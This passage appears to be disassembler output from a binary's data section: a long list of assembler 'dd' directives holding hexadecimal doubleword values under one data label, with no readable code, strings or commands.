0CE26508Eh, 5E1EFFABh, 0DBC03C9Ch, 47A653F5h dd 9B2200E8h, 1E8EAA7Eh, 3000B5FCh, 4B72ED7Ah, 0F8701534h dd 0D5DA00F2h, 730513B2h, 0ECE0C120h, 0F1398702h, 41C7D4F4h dd 6BD8966Ah, 362600C9h, 88F8DE2Eh, 0E4004234h, 0AE7DA66Fh dd 50306A8Fh, 0B3BC42Bh, 17D36882h, 2A6BD480h, 2F07DEF9h dd 0BF68109h, 20A037C0h, 389A0027h, 56793947h, 1F0FA5DAh dd 13758C70h, 99DBC07h, 9C813895h, 31F40B24h, 0B83D03D6h dd 0A2185CEEh, 91507CD8h, 0C32CCA00h, 7DF90D02h, 203500FAh dd 4F5C584Eh, 0E40041A5h, 3AC8386Dh, 0F5C494h, 0E95B6E69h dd 0F483AEF2h, 20D0CC07h, 0BCA0392Eh, 5C3246D3h, 0E67D4923h dd 6C510008h, 986542F3h, 730A8F67h, 0E4BA46D7h, 0AAE8A903h dd 0AFA0E79Ah, 2C30D52h, 45EB440Fh, 4FC0C5FAh, 13009319h dd 0E0696811h, 7307AFh, 4AB9CF71h, 0D02C0E79h, 319F4500h dd 50AE528Eh, 93A03AD2h, 5703448Eh, 80CC1D52h, 80C95D36h dd 1D004A4Ch, 236B4766h, 0DBC4D2h, 656CED67h, 4B73C181h dd 0AA83F501h, 0FD5CCE39h, 0F84A6220h, 8E990069h, 0AC2B17DBh dd 50006562h, 689BF8DFh, 0FA3187h, 2A6F188Fh, 304BFCCh dd 0DD26B4FCh, 80387098h, 0F0FF2FCFh, 0D1E802h, 5B0B53E7h dd 62C5D5F7h, 120550F0h, 0C1EBDB70h, 511BFCC0h, 72C20114h dd 0C86CAFCh, 4818B8C3h, 0C9580003h, 7D660C8h, 969648EEh dd 0F7008D3Eh, 46D85357h, 147B623Bh, 48DECA3Eh, 0C42902D4h dd 40AA73EAh, 68A38Ch, 4FCF678Ah, 9E56270Ch, 0EEA9E300h dd 73C9D1ABh, 717B006Dh, 0BB8CE40Dh, 92FA5758h, 0EAD7A800h dd 0A76877Eh, 0AA2E3099h, 78EB93A2h, 3FBE3100h, 915AC33Eh dd 21A03AD4h, 7D879580h, 269BC457h, 1C378B4Ch, 0E101F520h dd 0EAA6CF09h, 0D42DFCh, 0D847D650h, 0C79D0791h, 30761607h dd 3E185A0h, 60ECB699h, 73AA0038h, 0C91EA6D0h, 68E40BEFh dd 834A7000h, 0BD5CDC5Fh, 530A0B6Bh, 0ECA409EAh, 30CD4035h dd 92A51Dh, 0FEC97750h, 565D9671h, 7310A707h, 99C0C837h dd 8CA20Bh, 499DE86Eh, 0CAB06DA6h, 30E93F00h, 7C1D4FDh dd 6FE70090h, 67A60D69h, 7138BBA1h, 356B003Ch, 0A923C331h dd 418F2CD2h, 78AB0333h, 0A8C8CC3Eh, 5F46E82h, 0F1382600h dd 0CFAF578Bh, 3FD65CF0h, 0E11CB102h, 0C4F0B0CAh, 2D04361Ch dd 9C40BC16h, 4894FA2Eh, 520303A3h, 6A3FCE5Fh, 1D78CB88h dd 174AF90Eh, 6BA7C0FAh, 0BA76E87Eh, 8ADA000Ch, 0A626D25Fh dd 0FF0065D5h, 80E65921h, 98B2D695h, 93E400AAh, 8BABA9E8h dd 0DC9C39C0h, 4DA48F80h, 0C92EC3h, 82665BCFh, 0B35E80D8h dd 892C5873h, 0D4809CA3h, 0E5BD46CDh, 3A937DFEh, 0B313FDC4h dd 876805C3h, 0E1D0D0B0h, 83026081h, 37CBAEF1h, 0C6840A8h dd 751CF686h, 3F7102FAh, 9EFC2690h, 0BC604FE2h, 0AE67F038h dd 0E250B0DEh, 6CDC8B8h, 0EAECBC20h, 5703807Bh, 4EFE6690h dd 60A0C80Ch, 67DD008Fh, 0C896974Dh, 40C0F352h, 7A7985B7h dd 0D630FB71h, 1CF800F7h, 322862B5h, 0EA1CA16Ah, 0FC051CAh dd 7316A705h, 0CEC1007Dh, 7752341h, 7F05DFFDh, 3C9B017Bh dd 6FC14C0h, 3A7269Ch, 4339005Fh, 14A161D4h, 0B21A9207h dd 9CA01812h, 0D85772h, 0FDE46C40h, 0D18F3BFAh, 0ABC69F02h dd 0A744E5A1h, 0C64F98BCh, 14110E3Fh, 98CEB822h, 8973D860h dd 28E8AEE9h, 9D20D562h, 0AD6DC0BFh, 985C01EBh, 0EB7C73Eh dd 6C408C10h, 0EA04297Eh, 4E4500E5h, 0A5FE65B5h, 9600983Ch dd 4030BB15h, 3D79539Ch, 9000DDD1h, 41686B54h, 51F74687h dd 640AA3E0h, 0AF00BF38h, 0EE1C030Eh, 61C82FAEh, 413130EDh dd 0E3B98004h, 94C3C978h, 1B280024h, 47270EF8h, 6602FACh dd 0B497FF31h, 2424FB6Ch, 1DBD3B64h, 56F05980h, 67A0BFA9h dd 21DE15E8h, 0FE1DEA80h, 0B57DDEh, 0C7E1D0D8h, 263FBFC6h dd 69BA5318h, 0FB4428h, 0F89FB7A6h, 2AC464D6h, 9E4D4E38h dd 2DCE61DCh, 8C6589F4h, 9A31B3h, 0ECED077Dh, 0F4548167h dd 0B96C6300h, 0F2EAAD58h, 0B66398EEh, 7BAC00C4h, 9BEDCDDAh dd 7E68C301h, 0DD3AC5CFh, 15CD1CCh, 4C6320Ch, 9F73B9B5h dd 1200A461h, 0C850E154h, 0F6F91D40h, 0C05517C7h, 11B59F3Ch dd 0A61E8EEEh, 62C01C33h, 180E35C8h, 60CB307Eh, 0CC19DA49h dd 9D92109h, 25C01028h, 0FF7C156Bh, 1707DCEDh, 2094370Dh dd 7BB563EEh, 3B82F707h, 1332F387h, 0D43C40F9h, 8F6102DBh dd 6A0C9C98h, 3DF0F880h, 0C4FA4025h, 0C1C03377h, 0E347E557h dd 0A57A001Ch, 7013AAF7h, 63037268h, 1DCDDD67h, 7A19A893h dd 0F9D80502h, 393CC0C7h, 21954420h, 8062BC20h, 7EA6CAE1h dd 0E61C27h, 0CDCEB725h, 35DCCB5Ah, 65B9B41Bh, 0D2EB8029h dd 5B050097h, 0CFF97C0Ch, 0B13B8983h, 0DBCE0049h, 4D04C49Bh dd 0D83303C6h, 24DA3DE5h, 0E4B5ECA0h, 55647A00h, 0ACD9A301h dd 13870074h, 2A44A73Fh, 0ACABDE29h, 26C09891h, 1DD10350h dd 94D058DAh, 197C631h, 0FDF6EE8Ah, 0E82A8540h, 1DF61CA0h dd 239AB702h, 81BF82FDh, 42613A94h, 41DA2081h, 0B0528CA9h dd 67338E11h, 80E506C4h, 88B2BC6h, 0C47849h, 9033F1EBh dd 7D0F197Eh, 63200B9h, 5372D9C2h, 29C07318h, 130B16B3h dd 0D55F07DDh, 30373A67h, 145A6F77h, 6D0FDC01h, 1FC9B8Ch dd 0F3B49440h, 175800F8h, 2FABD97Fh, 2890CB67h, 32972906h dd 12E9B1A3h, 7E9D1A4h, 0E033625Dh, 0F9948D59h, 6329A972h dd 0B418A438h, 14042831h, 80261F8Dh, 0FF0948C0h, 0B409944Ch dd 0A00804A2h, 0A10EB31Ch, 1110636Fh, 0D1007E91h, 0CFC8C570h dd 0F01DFD8h, 5F2EF6E0h, 0B6876180h, 0C0C3897Bh, 0F8CEC58Dh dd 2695E5EAh, 12E411F2h, 3818E441h, 3E5CF500h, 8D035AB0h dd 534D2883h, 2D2B0F80h, 564C13CBh, 40D79F0h, 8180460Eh dd 484D404h, 3350D437h, 433DC466h, 27F2293h, 53333922h dd 7CAE25F1h, 8D0F3424h, 0E1802230h, 50C97B0h, 3B537400h dd 1ABAD699h, 0E8A11892h, 0E77AE10Fh, 0BBF3518h, 30AB8DF8h dd 3CE01253h, 6504CBF5h, 43E49BFCh, 3E57C890h, 0F403D01h dd 0F1744980h, 717B0827h, 8D26D903h, 2A213h, 8A25E740h dd 7B16A6D2h, 8627EB03h, 0E0505F65h, 2CD49744h, 605C6CF4h dd 37D70DDDh, 91AEE821h, 2442071Ah, 5D107BD0h, 694164h dd 57A9654Bh, 13AEA111h, 3325D600h, 0A0E13D62h, 18945838h dd 8F09B223h, 9430881Dh, 985B1826h, 0EBD0F4h, 0D9EA7641h dd 5F11AFBDh, 7BA736C5h, 0DF028002h, 9F8C60D7h, 104C40A3h dd 21B29100h, 2A414428h, 0C350C34Bh, 3A9771CCh, 3A9B00ACh dd 0ADC6A6EEh, 5CCBBD00h, 25F533D2h, 841601CDh, 0E3F474D6h dd 11204E3Ch, 6D86DFA9h, 1500B9A4h, 5EF01A0Ch, 17227A7h dd 3431E5B5h, 552540ACh, 0DEF300A0h, 1D92BE69h, 71AFB900h dd 605DB8ADh, 62F71DA2h, 5F5701B5h, 0E0721D0Bh, 3F7BCF4Bh dd 68B88D95h, 96FA040Bh, 5F50381Fh, 46874005h, 0C664D409h dd 0CD0029C6h, 4CB5E6ADh, 0FA5132D6h, 56904BAEh, 0A2F81424h dd 0F185F31Eh, 0F41E4059h, 300A773h, 0BED3AA49h, 79C30E5Eh dd 1D75012Fh, 0D8C5DF7Ch, 8776E486h, 824E80CBh, 1BBAF1D4h dd 0E11812D8h, 98C93021h dd 0C0B32198h, 833F1100h, 3A628B9Eh, 84750601h, 0A17C9178h dd 52E2CC00h, 0AEF58313h, 0CD481759h, 557800DFh, 0BAEEE978h dd 0B56044h, 0E4844F32h, 0DA3E8EA5h, 571C5BE8h, 1F49B4D9h dd 0A08C89B5h, 0E439242Ch, 0F40E00B2h, 0A30ACFE2h, 0E60F6289h dd 998738h, 0C5CE38Ah, 0A5BC0650h, 6961B7D4h, 7E85E039h dd 16773504h, 0CCC8DFC1h, 25F1E2B2h, 0F4208AEEh, 1E91D5A2h dd 0A0A1AD00h, 5B39D22Eh, 6A3C1FEBh, 0AA890046h, 0CF7E2C8Dh dd 0F0ACAE29h, 2A888036h, 0E413A3h, 475D1248h, 0DD60173Bh dd 22E48C39h, 99D0173h, 0AF8A86A3h, 19D3FC1Dh, 0B87B5800h dd 5939848Ch, 37AE28A2h, 2A0D0130h, 0BFC864D9h, 0BD08D814h dd 31800894h, 7B45C7DFh, 674A8Ah, 9A320FD4h, 90004096h dd 730BB9CBh, 98E2D875h, 8D9135FCh, 0CCEC29h, 1B853F17h dd 0CDE745h, 13B8D9E4h, 5D3C7B78h, 9883E10Bh, 7C10004Ch dd 6087F3D6h, 0B0B248E5h, 6D05503Ch, 0B9EED2D5h, 81F4D40Eh dd 5CD1CF7Dh, 65F79440h, 2390AA0Ch, 0E27F6FE4h, 0B14A1C7h dd 2CD0D68Ah, 0AB93009Bh, 64E942BCh, 4A705855h, 877BB800h dd 7EA08B13h, 5CC6FA2Dh, 502CDC9Fh, 0AA340047h, 250B0CDEh dd 2F17E57Fh, 0A0307AE4h, 7EE0FB93h, 0A59A00C2h, 0B96A9503h dd 0A60EAF15h, 0EA3C5F0Bh, 0DE80A87Ah, 0FFAB5E53h, 0CCC209E8h dd 0BA0ACA41h, 0B9B60898h, 7D125D60h, 0C80821E1h, 34F88h dd 0C311B6BAh, 0EA2570F2h, 47D0A0B9h, 7A8ADBh, 387429AAh dd 13C2D973h, 59E40F73h, 7D0A6300h, 0A33CE92Dh, 7180BAF7h dd 0BC2C00CFh, 0B260AF1Ah, 0D004B613h, 0C3595412h, 905A5980h dd 2B7FCA9h, 0C199D786h, 5890B204h, 51081269h, 66C968E1h dd 0BE00217Ch, 2B6E11CDh, 2C72239Fh, 41983787h, 10AEB7B0h dd 0A79156h, 0D5CE50FEh, 81195AEFh, 3E122700h, 1697BDB3h dd 11B17AEh, 5C080E6Dh, 0FEEF2FE0h, 0A20C686Bh, 58AC77F9h dd 3D889191h, 45CB7400h, 2A3D1CDFh, 0F2B8F27Ch, 4DE1C01Dh dd 4024DB89h, 8084A5C4h, 0F07EC9BFh, 1145B700h, 742AC254h dd 0E5570983h, 50008223h, 71CA267Eh, 0F4882C61h, 1C39A456h dd 954C0600h, 63EE3EF6h, 71B33D03h, 0C0F4A6D3h, 48529C2Ch dd 0B4C154BCh, 0A999AEA0h, 0F4005808h, 0E8A2B2B3h, 0EFD492C6h dd 68891083h, 2BA1A1DDh, 0A4384063h, 25F85AD8h, 0A10AD4BAh dd 1CD52EDFh, 1421F996h, 18569C2Bh, 4C0D3610h, 0C436A149h dd 0B0681141h, 0BC4F2678h, 0C8004F6Ch, 0C633C132h, 2753119h dd 7AF987B0h, 0A2B4B850h, 8F589EF3h, 0E71F2137h, 81137899h dd 854E7F61h, 7AF4E13Dh, 62BE2C1Fh, 0D0B81320h, 0EF487120h dd 9FFB1D00h, 0DD8791CDh, 7DA1CF8Bh, 40297E2Dh, 36CCC1FCh dd 88A8C048h, 125EC0BFh, 0E021E156h, 219698C7h, 110EB7A5h dd 0A0A06C6Fh, 7D4B4704h, 30984557h, 60A276A8h, 4E001C52h dd 71D1F1FCh, 242013h, 0B42B635Fh, 0E6A0CB8Ch, 242CC848h dd 7F081C7Ch, 68910C76h, 460027C1h, 6F1283BDh, 2CF24A2Fh dd 0B8A438Ch, 0B8C0DDB7h, 7C9AB278h, 0A32A14A6h, 9800A09Fh dd 39D932Ch, 1229BD09h, 535AA1A4h, 38405410h, 0B79B09C1h dd 8FD18087h, 5091630Bh, 0E04009C6h, 0E80E746h, 564EB06Dh dd 5748BC60h, 347E6688h, 0A2396823h, 5077BF8h, 504A8906h dd 0C60E351h, 752A060h, 69AF25C6h, 997302D3h, 7470BCD1h dd 0C85186ACh, 4463ADh, 73E1B234h, 286824E5h, 0BC6F6Ah dd 60F0D338h, 80D5502Bh, 64E44A09h, 0D9E4106Dh, 9DF055h dd 0F612CF8Ch, 6D331AD6h, 8E1DF301h, 93F9FD8h, 2C689980h dd 0A6D70885h, 431F1617h, 9C808C25h, 342DB36h, 7D097A1Ah dd 991DFCC0h, 23B11EEh, 32627BAFh, 4F604065h, 0A58212E1h dd 90F0C010h, 0EE80D950h, 0FCA818C4h, 0F43D4078h, 86627C06h dd 6386BA7h, 0BB4AAEEEh, 3E1410C9h, 1E242097h, 73807AADh dd 25D61684h, 0F4DD2995h, 0EB240018h, 17978256h, 3FB01D18h dd 7B70D8C0h, 69F101B9h, 8BDC9DADh, 9EE8F435h, 0E057B000h dd 0D33A8DD8h, 37CB0F8h, 5F68E249h, 0D7F89E50h, 350272B1h dd 0D1C8E82Ah, 18B043A0h, 0F1CA6AB9h, 0DE28C25Bh, 3C809CE4h dd 5F0C85D4h, 1176EEC3h, 0A5D91E44h, 0CE2100EFh, 8A5C4243h dd 948000B6h, 485259DBh, 0AB35003Fh, 7B8D2532h, 7A0FE1F4h dd 457D116h, 0A4807803h, 0B5E4B64h, 0D4D0831Fh, 0D210D824h dd 0F8E0F040h, 6C4C5173h, 97958344h, 5401D09Dh, 5A0F2C0Ch dd 0E7F402E9h, 0D0C41C99h, 0F7B78405h, 0A803A345h, 0DAE87572h dd 6CEC1Ah, 2DB47DCDh, 0F7AD9D0Dh, 0C87BAC0Fh, 65168B2Eh dd 290E250h, 1BDBBE18h, 0C8FFEFF3h, 0E86EBF89h, 983D064Fh dd 60C1947Bh, 442600B4h, 3C0A5916h, 1B0C00CAh, 2D0B8302h dd 2400368Bh, 220FE84Bh, 1F12E89h, 86CAD194h, 0D00A07E6h dd 809781B2h, 55A25EFDh, 24BE00A0h, 8F231F1Ch, 6803353Bh dd 47C52B90h, 0B022DBC7h, 20757Ah, 5FFA7841h, 2A53ACC2h dd 0BC333C00h, 229FB68Bh, 1B483980h, 0B75A1Eh, 0B8BF8E56h dd 5D6372FEh, 123FA968h, 0D02A08h, 2B109223h, 5733B4Ah dd 986CFE00h, 59B56DA2h, 328000Fh, 40DA4777h, 99066EEEh dd 2CC751B1h, 0E9E20719h, 0B6A0883Bh, 26005948h, 0C08CEB61h dd 778A89h, 0F1566079h, 0AA589D71h, 0DDC1D500h, 0A8BF0E9Ah dd 0D81B65C2h, 3D99043Ah, 467C8020h, 0EC70D15Eh, 20597630h dd 0E43F8Fh, 255BAEFAh, 6560C06Ch, 8E064FF8h, 0FF38F41Fh dd 5CBA9010h, 7A743D66h, 0F9A860B9h, 247FC20Bh, 75C7B8DEh dd 70C15F5Bh, 3DC8F2B4h, 80286080h, 0E49FB5B0h, 9591E00h dd 0ACCB15CCh, 713E00CDh, 0A188CDAh, 400BAB2h, 0A012BB92h dd 30B93Ch, 404697E9h, 7E1A2ED4h, 4DDE2C00h, 0E339C736h dd 199600D3h, 0C2CB4BC9h, 3400596Eh, 0CFDF01D8h, 0D580F8Fh dd 0C1E685Ch, 0F049E058h, 18404532h, 0E8AA4313h, 0DC5780h dd 2196A59Bh, 0B9069CCAh, 2F2E0F0Fh, 0C3876079h, 563452h dd 0E7DCB2E4h, 49F3241h, 0D40F390Eh, 0FD4B2F58h, 0AB69BB00h dd 12C6EDh, 0A0ADD17Ch, 0C2E45CFBh, 39374F30h, 92D907h dd 9AC14711h, 0A1A7C778h, 0D8CFC918h, 0BD619h, 5877D795h dd 0D10F949Eh, 26ED3Ah, 2A2304C1h, 0C0CDF2B7h, 4393EA11h dd 0DB00E688h, 291EA40Ah, 6FBCFEBh, 6A3DCED6h, 0AE3CFEC4h dd 30FC266Bh, 93513B00h, 0DE0D0Fh, 366312C5h, 0E8DC24A2h dd 77CE4F00h, 44FC1FCFh, 5A7C0083h, 0E93CA680h, 6100DB58h dd 0C7488AD3h, 3F93F2D8h, 0AF8050AEh, 0B2AA2267h, 9424F816h dd 3200C2CCh, 29BE4ACh, 4FC6002Ch, 0D8AE6AF9h, 5701AF55h dd 0E4E30B6Dh, 208C0497h, 2550F507h, 0A7330DE8h, 0D8271110h dd 0E7BA8h, 4F128FBBh, 1C14468Ch, 0ED20FF60h, 35A810h dd 9F408EEAh, 46F5B9F3h, 58C71A7Bh, 0C86031E8h, 6564CBFh dd 7077996Ch, 331E70AEh, 0F64015C1h, 834C433Fh, 4B301851h dd 9701218Bh, 95045690h, 1A7D6B70h, 2A1B3381h, 0F49DEAFCh dd 4B8C187Eh, 71553094h, 5CF6FB00h, 9E23B030h, 7A08C62Fh dd 3540206Ch, 0A0430F8Eh, 0A0DB782Ch, 9B6CF03Eh, 0B010A473h dd 0C027BEh, 454E43A1h, 2DE0E61Eh, 37464C01h, 9871B828h dd 0E060F1D0h, 9E1E0081h, 0C14FF3C7h, 4800F7C6h, 0B59A779Dh dd 1F66482h, 0F615038h, 0F0CFF516h, 0C917E055h, 8200663Dh dd 0D28E875Fh, 0CBFC1FBAh dword_516448 dd 53A7007Eh, 0CC401A29h, 9000F1F0h, 0E21D164Ah, 0F877A6h dd 0E476DFF5h, 748EE07Dh, 2C0BAA3Eh, 8100DF3Dh, 60728762h dd 0A6550098h, 9752CCBDh, 3700C56Fh, 0A94D30A4h, 0EA7C676Dh dd 0E06E7CEDh, 0C04501E8h, 0AA826350h, 1E98E02Dh, 38624200h dd 696FFECDh, 575C5h, 0D396E18Fh, 11AE1BCFh, 0B05C58C3h dd 0A0D868CDh, 0F3296304h, 672BDDE8h, 0FED880F9h, 0F17F59B9h dd 298043Ch, 1D5A72CBh, 0C0616D8Fh, 361BDD16h, 0C28E0F69h dd 7F80FC76h, 0E5F511F3h, 0E9B7831Dh, 0D605BD40h, 1029A98h dd 290CF178h, 40CA2E69h, 0B43D2A28h, 0D1180B60h, 0C0BF164Dh dd 0F9445399h, 10C2BD7Ch, 0B092692Dh, 6D52C60h, 3CF445EFh dd 0CA20A80Ch, 3478E061h, 580D1Eh, 7D5EE690h, 56039E9Ah dd 0E81094D5h, 0DB9101ECh, 0D28DAA13h, 9E7C42AFh, 0B7F384B3h dd 85B57903h, 50BBDC2h, 2E1657F0h, 0D2844F14h, 80CE5564h dd 30295E08h, 4884CA2Ah, 0E10B8D21h, 875A11F1h, 4302A449h dd 0E38B83Eh, 4CFA80h, 7FF27EA3h, 7206989Fh, 9BF181C2h dd 3FC42D1h, 988B3718h, 3F6602FCh, 82B04AB4h, 0BF306459h dd 184E39C0h, 14906651h, 0CCE6C010h, 97AAB481h, 1048C3F2h dd 40A300E7h, 0ADF796A8h, 0AA4C282Bh, 9928C084h, 0E94FA0FEh dd 79FA09F4h, 7C3DDF00h, 674A8FE8h, 1180F926h, 1035A08Ah dd 8CF816D8h, 8B78CB05h, 0D04F5126h, 60112404h, 7333090h dd 0DC100A81h, 48A0264Fh, 0DD2707F8h, 906AA4ACh, 5AC00A00h dd 4D947D18h, 0C0A2E298h, 3B2F0FA1h, 3C0052E3h, 79F1D164h dd 231F980h, 0A581E469h, 68C08CB4h, 4FFAEDFBh, 8914B00h dd 12E9AC10h, 4A60C599h, 54407822h, 3D948719h, 4048E468h dd 529D01D2h, 0D378687Ch, 5A64207Dh, 304183Bh, 6726B755h dd 2B99A897h, 2868929Bh, 90547E4Fh, 0EA4A0650h, 594B2B97h dd 99E81FEAh, 0E33FA890h, 0A4B50C65h, 0FED8D04Ah, 0B1B660CAh dd 8114E8D4h, 2A100F4Dh, 0EAA10C60h, 0FD199F6Dh, 6C0C0861h dd 716EE40Ch, 9A523BDAh, 7F663B80h, 4CE322B3h, 518E9E03h dd 0A023D0A2h, 39D368A9h, 4A007DD1h, 0B9ECC5F1h, 9900A767h dd 3616E5F2h, 4D060E94h, 0CA267839h, 4157A44h, 5CA580FFh dd 0CAF8B6C9h, 0D1203Eh, 324A468Dh, 7BBA7269h, 5DE60918h dd 8480FD83h, 731944F7h, 1FAF3D06h, 422833D2h, 0BA911B6h dd 11126811h, 0E238E0E9h, 0E820ACC4h, 4BCC3E57h, 0C220F0C0h dd 3DE4234h, 7ED0D602h, 2351FAF7h, 5121DFDBh, 101F0CAAh dd 8CF39429h, 0C92D2379h, 6614A0A6h, 45788806h, 360851DCh dd 82921035h, 1C5BB6Eh, 171ED1Ch, 29BA0E05h, 3300E020h dd 0F8A2D55Dh, 3A93AADDh, 57800B75h, 0F50EAD2Eh, 0C5FEB864h dd 0C3B2DB00h, 0C64CA5ABh, 95E048h, 74A3A0B1h, 0EE56DD23h dd 9E01C200h, 1F609697h, 0DFF27Dh, 6A376217h, 0ABD3DA0Fh dd 68438D00h, 0D438CAB5h, 0CCED007Eh, 0A690F73Fh, 0FD392708h dd 11BC8098h, 0CB488A8h, 16E7CEBh, 0BEDF231Ah, 307E0DCFh dd 8E005EACh, 1B4539DDh, 0F94CF6h, 0DF718C26h, 2C79999Ch dd 0C5670100h, 0A9B76BFAh, 0C83400B9h, 0B09B0A7h, 891F17E7h dd 0D81FAA67h, 35331B80h, 2CA545h, 0AF04087h, 0FE46B47Ch dd 0A9EBE203h, 0ABE38E3Dh, 0AB35C824h, 2DE80034h, 0A8BE58BAh dd 0A4131E41h, 0F0058D89h, 0F5C06DBCh, 0B1C64Ah, 0F29237Fh dd 1EFF5E7h, 30B8CB13h, 8511E801h, 42ECC1EAh, 567A51h dd 3F2586FEh, 0C0DFC440h, 88547400h, 0BDB1DC2h, 3C1B000Eh dd 546D809h, 380004A9h, 1DA3EA15h, 0E4BA2ECh, 3666871Eh dd 1A78CC60h, 210042B0h, 0DBF650E5h, 177B351h, 734ADD88h dd 40612827h, 2A0987B1h, 0FC7D0100h, 17B3A3ADh, 0A1E60059h dd 557EF196h, 0BF7958B4h, 3C37DA30h, 0A439BDh, 0C5D0345Ah dd 91C3F2CDh, 0D6BD600h, 749FA170h, 179705B6h, 81E98BA3h dd 0FE215560h, 0F9C69741h, 63EEC81h, 3D017FF8h, 3FC5AA18h dd 0A1712CE0h, 27FCECh, 0B0926F88h, 0A7DB9EE8h, 916BB200h dd 87BF1D63h, 3538007Fh, 0CB5B73Eh, 2100954Eh, 546E6C07h dd 8C5DA1h, 17745EABh, 0B929C31h, 0A4C601Eh, 0D30355ACh dd 0D8BBFF56h, 750E2EDh, 0E890F4EAh, 9BDD10E7h, 5B034CDEh dd 0AD15BE02h, 0D9C2A05Ch, 392C90A8h, 12FA8837h, 98CF6h dd 97FC4A14h, 9CE0AED5h, 0CC1F5700h, 0D90DE7AAh, 0B2FA00C8h dd 3423A55Fh, 0AC0356CDh, 70E353D2h, 6309D949h, 731F5C30h dd 94DB00BEh, 0E1712DE4h, 61006A1Bh, 0C0F9CDD3h, 0C4DB59Fh dd 0DE593C4Eh, 7A06B619h, 5FF4F853h, 0E9110010h, 0AC92EEF9h dd 6E004C89h, 0BF02C0DBh, 3CA651h, 0A598BA7Bh, 2F2733BDh dd 0F52DCA38h, 0B8C8353Ch, 9F28871Fh, 0C270BB9Bh, 0CB0BD7h dd 47F186ECh, 0B448BC3Fh, 4D52B200h, 411ADC55h, 0CF310764h dd 40F751F4h, 0CE7D2CBCh, 22E3500h, 899AD046h, 40B200ACh dd 217333BFh, 7500BC5Eh, 0BE3CE949h, 8E7BC1h, 35679A8Ch dd 0AADB9277h, 0C9BC7900h, 9B39526Dh, 335B005Ch, 0D971D62Ch dd 0C83EEF53h, 0A84703F5h, 0DB0EC480h, 969EB850h, 0B2C90079h dd 6009F79Ah, 6002251h, 0B0662735h, 48A2318Eh, 0F10FA437h dd 0A7C05868h, 0C2103CC5h, 8800077Bh, 46633FF2h, 0EC6C5DEBh dd 3AD89741h, 45D424E1h, 360C1500h, 90C89AB7h, 21A50171h dd 0C05195D4h, 0CDF721A3h, 0AC80DA7Eh, 0B5D7ED01h, 7277D900h dd 6510E35Dh, 0A6130047h, 30E69E6Fh, 410260A9h, 0E716D0FAh dd 9AED6168h, 15A3030h, 5E9E8273h, 0F4CD54CCh, 0C3A04AEDh dd 67380C02h, 1B630057h, 9AE7EE8Fh, 71B8A147h, 0F90ECCh dd 0BBE61C5Fh, 0E197D306h, 85A49E3Bh, 0FE5C2999h, 287A5780h dd 0C4DA0E0Dh, 875DF321h, 1606F74h, 0EC173BEBh, 0A0E2F2BAh dd 7FB87550h, 0FD00FE98h, 183E19FCh, 95702Fh, 46F9F60Ch dd 0A6C5C212h, 19584F00h, 20D7A71Fh, 2E710037h, 272CAAA1h dd 8800A23Bh, 6F232B15h, 3AEED7h, 563F78E7h, 0B7FFB612h dd 970BEB00h, 1C2D6B1Bh, 4D400B2h, 404C9DD8h, 3B00697Dh dd 92A86685h, 0A9F7CCh, 6F1E2F34h, 0C76B1057h, 98430303h dd 0A874C16Ah, 0FE9984F4h, 2EB50073h, 1FD5EFFCh, 0CB3FE457h dd 0A7B90010h, 0BA8EC476h, 0A8BF3E2Ch, 0B0B26F00h, 74AE7712h dd 4B236B00h, 3E41CD91h, 1F2A0083h, 0B308F11Eh, 0A0005781h dd 0BA87C905h, 0B9B99C4h, 6C6A1336h, 405D508Eh, 0FFC97FF3h dd 6D01A264h, 4421949Ch, 0C7607718h, 0BA85004Bh, 9AB342B4h dd 0A26FC9Fh, 0E000DC49h, 88E3AC19h, 8FA8014Eh, 890CD6D2h dd 6DB0608Bh, 189D300Fh, 0A0224E43h, 69CD0BC9h, 688500A5h dd 9520507h, 46F2BEE3h, 0FCC3DA00h, 984FFBAEh, 91275829h dd 9E580073h, 962B1DE0h, 740082F3h, 0D4AFDB8h, 0B3B112h dd 9ECBBECFh, 75A6B7A5h, 79AE2B0Ah, 4400B2BFh, 0BCD5CD59h dd 2A8600AAh, 0CCD23A23h, 6200795Bh, 0FEE12ED6h, 13887ABh dd 0A77347EAh, 0C2F7D53Ch, 0D0973FE0h, 9AB60B01h, 21E88D2Ah dd 1CF6FEE0h, 4E92519Bh, 0E7076D53h, 31E6516Ah, 0ACAFEC89h dd 99F99B00h, 0DC67FECAh, 58841212h, 2F00BB6Ch, 0AADFA65Bh dd 7581011Dh, 9C255F3Fh, 40DAD58Eh, 6255738Bh, 33729E1Dh dd 7563D646h, 8F820052h, 0FC5D1A90h, 0C8E8C63Bh, 8C484F00h dd 34AFF39Fh, 0CED94821h, 66D49E00h, 6BE761EAh, 0A4168D02h dd 606533D8h, 0F03B5F0h dd 71967535h, 160044A9h, 328B06A6h, 0C6CB39h, 236915C8h dd 0E2368EF1h, 8CE20024h, 7550BECh, 0ED241D85h, 0BC0FBD7Bh dd 0C4A260E0h, 34C35CDh, 0E4666E08h, 0B2E80773h, 2601BE47h dd 0E3E7B151h, 53304A58h, 90D400FEh, 87BC9BB3h, 0CA1E75F0h dd 50DDEAA2h, 51C080DDh, 0B2787A71h, 4B0600FDh, 52AAC470h dd 6D18778Bh, 2419ABE8h, 0C02C4C34h, 0C85D071Bh, 4880CC8h dd 105E2830h, 613EB5h, 0C74F1E10h, 3FBD21E2h, 9D32CD00h dd 26854263h, 9C16009Eh, 6C72C0BEh, 7B006911h, 0DDD8CBB4h dd 145087h, 532D7D66h, 0F84A8872h, 623A7400h, 73E94E71h dd 374612F7h, 0CF2002ABh, 0AC406AD4h, 2400BFC9h, 8E2A2B3Bh dd 7DFA80h, 0C40CB276h, 0F3F7E739h, 6922A100h, 174AEC6Eh dd 0D11500D7h, 340CAC3Ch, 54043145h, 0D8FE1EABh, 255609C1h dd 0CC61D680h, 88416E0Fh, 0AE644F00h, 0B70C85A3h, 1CB01Eh dd 0CD89AF8Bh, 542B6201h, 0F2515F00h, 0EFE94640h, 0E2D802CEh dd 399D71D5h, 97F3BCE0h, 8130BDF2h, 3B30E693h, 8DCF0066h dd 60278490h, 800035A6h, 0A46578E4h, 2D63AFh, 0A6ACA40h dd 90289A77h, 56220700h, 0D4CB522Bh, 0FCCB8F1h, 9E98ED51h dd 8AA9D80h, 29123FACh, 100E3306h, 0BB1E9ED6h, 4A871C40h dd 0E1F89Ah, 95898604h, 77E2744Fh, 9488BD02h, 58C6CE09h dd 0DC0F00A8h, 20998758h, 74058B93h, 9A23F4D5h, 0F8CDA183h dd 0DFD678h, 985AFE05h, 2CB2E721h, 0D1402E00h, 0D98CF7DDh dd 0E490F8h, 6B9D263Bh, 1C111525h, 68AC5F6Ch, 9C510036h dd 0ADA442C8h, 600C50B3h, 42FC8E67h, 12B6B062h, 